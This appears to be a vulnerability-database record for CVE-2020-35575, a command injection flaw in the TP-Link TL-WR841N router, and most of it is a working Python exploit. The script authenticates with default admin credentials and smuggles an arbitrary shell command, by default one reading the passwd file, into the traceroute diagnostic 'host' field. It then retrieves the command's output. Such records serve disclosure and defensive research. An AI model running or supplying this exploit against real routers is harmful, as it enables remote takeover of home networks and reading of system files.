ID
VAR-E-202106-0266
CVE
cve_id: | CVE-2020-35575 | Trust: 0.5 |
TITLE
TP-Link TL-WR841N Command Injection
Trust: 0.5
DESCRIPTION
TP-Link TL-WR841N suffers from a remote command injection vulnerability.
Trust: 0.5
AFFECTED PRODUCTS
vendor: | tp link | model: | tl-wr841n | scope: | - | version: | - | Trust: 0.5 |
EXPLOIT
# Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35575
import requests
import sys
import time
try:
_ = sys.argv[2]
payload = ' '.join(sys.argv[1:])
except IndexError:
try:
payload = sys.argv[1]
except IndexError:
print("[*] Command not specified, using the default `cat etc/passwd=`")
payload = 'cat etc/passwd'
# Default credentials is admin:admin - replace with your own
cookies = {
'Authorization': 'Basic YWRtaW46YWRtaW4='
}
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain',
'Content-Length': '197',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/mainFrame.htm',
}
data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')
try:
response1.text.splitlines()[0]
except IndexError:
sys.exit('[-] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
sys.exit('[*] Router/Firmware is not vulnerable.')
data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed
data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)
if '=:' in response3.text.splitlines()[3]:
print('[-] Command not supported.')
else:
print('[+] Exploit successful!')
for line_number, line in enumerate(response3.text.splitlines()):
try:
if line_number == 3:
print(line[12:])
if line_number > 3 and line != '[error]0':
print(line)
if 'not known' in line:
break
except IndexError:
break
Trust: 0.5
EXPLOIT HASH
LOCAL | SOURCE | ||||||||
|
|
Trust: 0.5
PRICE
free
Trust: 0.5
TAGS
tag: | exploit | Trust: 0.5 |
tag: | remote | Trust: 0.5 |
CREDITS
Koh You Liang
Trust: 0.5
EXTERNAL IDS
db: | NVD | id: | CVE-2020-35575 | Trust: 0.5 |
db: | PACKETSTORM | id: | 163274 | Trust: 0.5 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2020-35575 | Trust: 0.5 |
SOURCES
db: | PACKETSTORM | id: | 163274 |
LAST UPDATE DATE
2022-07-27T09:51:23.821000+00:00
SOURCES RELEASE DATE
db: | PACKETSTORM | id: | 163274 | date: | 2021-06-24T17:52:55 |